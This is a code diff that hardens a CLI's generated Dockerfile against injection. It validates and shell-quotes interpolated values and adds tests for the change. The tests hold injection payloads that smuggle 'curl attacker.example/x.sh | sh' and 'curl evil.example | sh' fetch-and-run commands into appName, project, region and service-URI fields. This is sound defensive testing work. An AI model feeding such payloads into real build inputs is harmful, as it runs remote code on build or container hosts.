fix(deploy): reject unsafe appName/project/region in generated Dockerfile

dev/src/cli/deploy/deploy_utils.ts

@@ -56,28 +56,80 @@ export interface BaseDeployOptions extends CreateDockerFileContentOptions {
   agentFileLoadOptions?: AgentFileOptions;
 }
 
+// Dockerfile instructions and the generated CMD's shell form have no
+// generic escaping mechanism for interpolated values: a newline breaks out
+// of the current instruction to start a new one, and shell metacharacters in
+// the CMD line are interpreted by /bin/sh at container start. Restricting
+// these values to a plain identifier closes both at once, since none of them
+// (an agent name, a GCP project ID, or a GCP region) legitimately need
+// anything outside this set.
+const SAFE_DOCKERFILE_TOKEN_RE = /^[A-Za-z0-9_.-]{1,128}$/;
+
+function assertSafeDockerfileToken(value: string, label: string): void {
+  if (!SAFE_DOCKERFILE_TOKEN_RE.test(value)) {
+    throw new Error(
+      `Invalid ${label} ${JSON.stringify(value)}: must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`,
+    );
+  }
+}
+
+// logLevel, allowOrigins, sessionServiceUri and artifactServiceUri are
+// free-form (a service URI can carry credentials, allowOrigins is a
+// comma-separated list) so they can't be restricted to the plain-identifier
+// token above. They only reach the Dockerfile's CMD line, so a newline in
+// any of them still breaks out of that instruction the same way appName
+// does, and once inside the CMD line they're read by /bin/sh at container
+// start, so shell metacharacters must be neutralized too.
+function assertNoDockerfileNewline(value: string, label: string): void {
+  if (/[\r\n]/.test(value)) {
+    throw new Error(
+      `Invalid ${label} ${JSON.stringify(value)}: must not contain newline characters to be safely embedded in the generated Dockerfile.`,
+    );
+  }
+}
+
+function shellQuote(value: string): string {
+  return `'${value.replace(/'/g, `'\\''`)}'`;
+}
+
 export function createDockerFileContent(
   options: CreateDockerFileContentOptions,
 ): string {
+  assertSafeDockerfileToken(options.project, 'project');
+  if (options.region) {
+    assertSafeDockerfileToken(options.region, 'region');
+  }
+  if (options.appName) {
+    assertSafeDockerfileToken(options.appName, 'appName');
+  }
+
   const adkCommand = options.withUi ? 'web' : 'api_server';
   const adkServerOptions = [`--port=${options.port}`, '--host=0.0.0.0'];
 
   if (options.logLevel) {
-    adkServerOptions.push(`--log_level=${options.logLevel}`);
+    assertNoDockerfileNewline(options.logLevel, 'logLevel');
+    adkServerOptions.push(`--log_level=${shellQuote(options.logLevel)}`);
   }
 
   if (options.allowOrigins) {
-    adkServerOptions.push(`--allow_origins=${options.allowOrigins}`);
+    assertNoDockerfileNewline(options.allowOrigins, 'allowOrigins');
+    adkServerOptions.push(
+      `--allow_origins=${shellQuote(options.allowOrigins)}`,
+    );
   }
 
   if (options.artifactServiceUri) {
+    assertNoDockerfileNewline(options.artifactServiceUri, 'artifactServiceUri');
     adkServerOptions.push(
-      `--artifact_service_uri=${options.artifactServiceUri}`,
+      `--artifact_service_uri=${shellQuote(options.artifactServiceUri)}`,
     );
   }
 
   if (options.sessionServiceUri) {
-    adkServerOptions.push(`--session_service_uri=${options.sessionServiceUri}`);
+    assertNoDockerfileNewline(options.sessionServiceUri, 'sessionServiceUri');
+    adkServerOptions.push(
+      `--session_service_uri=${shellQuote(options.sessionServiceUri)}`,
+    );
   }
 
   if (options.otelToCloud) {

dev/test/cli/cli_deploy_cloud_run_test.ts

@@ -109,9 +109,105 @@ describe('createDockerFileContent', () => {
       allowOrigins: 'http://example.com',
       otelToCloud: true,
     });
-    expect(content).toContain('--allow_origins=http://example.com');
+    expect(content).toContain("--allow_origins='http://example.com'");
     expect(content).toContain('--otel_to_cloud');
   });
+
+  it('should reject logLevel/allowOrigins/sessionServiceUri/artifactServiceUri containing a newline', () => {
+    // These reach the shell-interpreted CMD line via adkServerOptions, so a
+    // newline in any of them breaks out of that Dockerfile instruction the
+    // same way appName/project/region do.
+    for (const [label, value] of [
+      ['logLevel', {logLevel: 'info\nRUN sh -c "curl evil.example|sh"\n#'}],
+      [
+        'allowOrigins',
+        {allowOrigins: 'http://a\nRUN sh -c "curl evil.example|sh"\n#'},
+      ],
+      [
+        'sessionServiceUri',
+        {sessionServiceUri: 'memory://\nRUN sh -c "curl evil.example|sh"\n#'},
+      ],
+      [
+        'artifactServiceUri',
+        {artifactServiceUri: 'gs://b\nRUN sh -c "curl evil.example|sh"\n#'},
+      ],
+    ] as const) {
+      expect(() =>
+        createDockerFileContent({...defaultOptions, ...value}),
+      ).toThrow(new RegExp(`Invalid ${label}`));
+    }
+  });
+
+  it('should shell-quote logLevel/allowOrigins/sessionServiceUri/artifactServiceUri in the CMD line', () => {
+    // These values reach /bin/sh at container start via the CMD line's
+    // shell form, so shell metacharacters must be neutralized by quoting.
+    const content = createDockerFileContent({
+      ...defaultOptions,
+      logLevel: 'info; curl evil.example | sh #',
+      sessionServiceUri: 'memory://; curl evil.example | sh #',
+      artifactServiceUri: 'gs://bucket; curl evil.example | sh #',
+    });
+    expect(content).toContain("--log_level='info; curl evil.example | sh #'");
+    expect(content).toContain(
+      "--session_service_uri='memory://; curl evil.example | sh #'",
+    );
+    expect(content).toContain(
+      "--artifact_service_uri='gs://bucket; curl evil.example | sh #'",
+    );
+  });
+
+  it('should escape an embedded single quote when shell-quoting', () => {
+    const content = createDockerFileContent({
+      ...defaultOptions,
+      logLevel: "info'; curl evil.example | sh #",
+    });
+    expect(content).toContain(
+      "--log_level='info'\\''; curl evil.example | sh #'",
+    );
+  });
+
+  it('should reject an appName that would break out of the generated Dockerfile', () => {
+    // A newline lets an attacker-controlled agent directory name terminate
+    // the COPY instruction it's embedded in and start a new Dockerfile
+    // instruction (e.g. RUN), executed during `docker build`.
+    expect(() =>
+      createDockerFileContent({
+        ...defaultOptions,
+        appName: 'x"\nRUN curl https://attacker.example/x.sh | sh\n#',
+      }),
+    ).toThrow(/Invalid appName/);
+  });
+
+  it('should reject a project that would break out of the generated Dockerfile', () => {
+    expect(() =>
+      createDockerFileContent({
+        ...defaultOptions,
+        project: 'p\nRUN curl https://attacker.example/x.sh | sh\n#',
+      }),
+    ).toThrow(/Invalid project/);
+  });
+
+  it('should reject a region that would start a new Dockerfile instruction', () => {
+    // region only reaches the ENV GOOGLE_CLOUD_LOCATION= line, not the
+    // shell-interpreted CMD line, so the vector here is a newline breaking
+    // out of that instruction, not a shell metacharacter.
+    expect(() =>
+      createDockerFileContent({
+        ...defaultOptions,
+        region: 'us-central1\nRUN curl https://attacker.example/x.sh | sh\n#',
+      }),
+    ).toThrow(/Invalid region/);
+  });
+
+  it('should still accept appName/project/region containing dots, dashes, and underscores', () => {
+    const content = createDockerFileContent({
+      ...defaultOptions,
+      appName: 'my-agent_v2.1',
+      project: 'my-project.example-123',
+    });
+    expect(content).toContain('agents/my-agent_v2.1/');
+    expect(content).toContain('GOOGLE_CLOUD_PROJECT=my-project.example-123');
+  });
 });
 
 describe('deployToCloudRun', () => {